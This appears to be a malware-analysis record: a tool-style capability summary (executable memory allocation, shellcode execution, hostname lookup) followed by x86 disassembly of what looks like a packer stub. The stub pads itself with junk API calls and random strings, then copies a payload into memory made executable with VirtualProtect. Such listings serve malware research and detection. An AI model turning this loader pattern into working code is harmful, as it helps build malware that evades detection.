Function at 0x401340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x8c0160]
sub esp, 0xd4c
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x40140e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
lea eax, [esp + 0x55c]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
lea ecx, [esp + 0x15c]
push ecx
push 0
call dword [sym.imp.USER32.dll_RealGetWindowClassA]
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push str.davufevehabigesisugolucomeyixavo
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401bd4
push 0
push 0
call fcn.00401a74
add esp, 0xc
push 0
call fcn.00401e8a
add eax, 0x1134b
push eax
push 0
mov dword [0x8c0160], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x8c0160]
lea ecx, [esp + 0x38]
push ecx
push 0x40
push edx
push eax
mov dword [0x8bf0b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x8c0160], esi
jbe 0x401496
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x401450
mov eax, dword [0x8c0164]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x8bf0b4]
mov byte [edx + esi], cl
cmp dword [0x8c0160], 0xa8
jne 0x40148d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x40]
push eax
call edi
push str.depixel
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc esi
cmp esi, dword [0x8c0160]
jb 0x401450
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
mov dword [esp + 0xc], eax
mov ecx, dword [0x8c0160]
add ecx, eax
cmp ecx, 0xe
jne 0x401541
push 0
push 0
push str.lomoyujadelos
call edi
push str.subejulojahom_tolovotocucizidozagetajil_sef_cenicujajeji
call ebx
push 0
lea edx, [esp + 0x15c]
push edx
push str.wuxukumasinahenufapafunonevaca_vawisamiviciruratuvunugawune_zadab_wevapiwuvofavagakopogeceyuhi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
push eax
lea ecx, [esp + 0x55c]
push ecx
push eax
lea edx, [esp + 0x24]
push edx
push eax
push eax
mov word [esp + 0x30], ax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov word [esp + 0x3e], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
lea eax, [esp + 0x18]
push eax
call esi
push str.vomucetiwuzoluracenedeha_lowabotefopipemivinopaxurev_kasifizacexugibilupidi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x4014ae
call fcn.00401210
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
call edi
cmp esi, 0x26
jne 0x40156c
call fcn.00401320
inc esi
cmp esi, 0x6753f
jl 0x401560
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [esp + 0xc], 0x7b
nop
cmp dword [0x8c0160], 0x86
jne 0x4015f5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
xor edx, edx
lea eax, [esp + 0x18]
mov word [esp + 0x28], cx
push eax
lea ecx, [esp + 0x2c]
mov word [esp + 0x1c], dx
push ecx
lea edx, [esp + 0x48]
push edx
call esi
push 0
lea eax, [esp + 0x55c]
push eax
call edi
cmp dword [0x8c0160], 0xf
jne 0x401609
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
call ebx
sub dword [esp + 0xc], 1
jne 0x401590
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret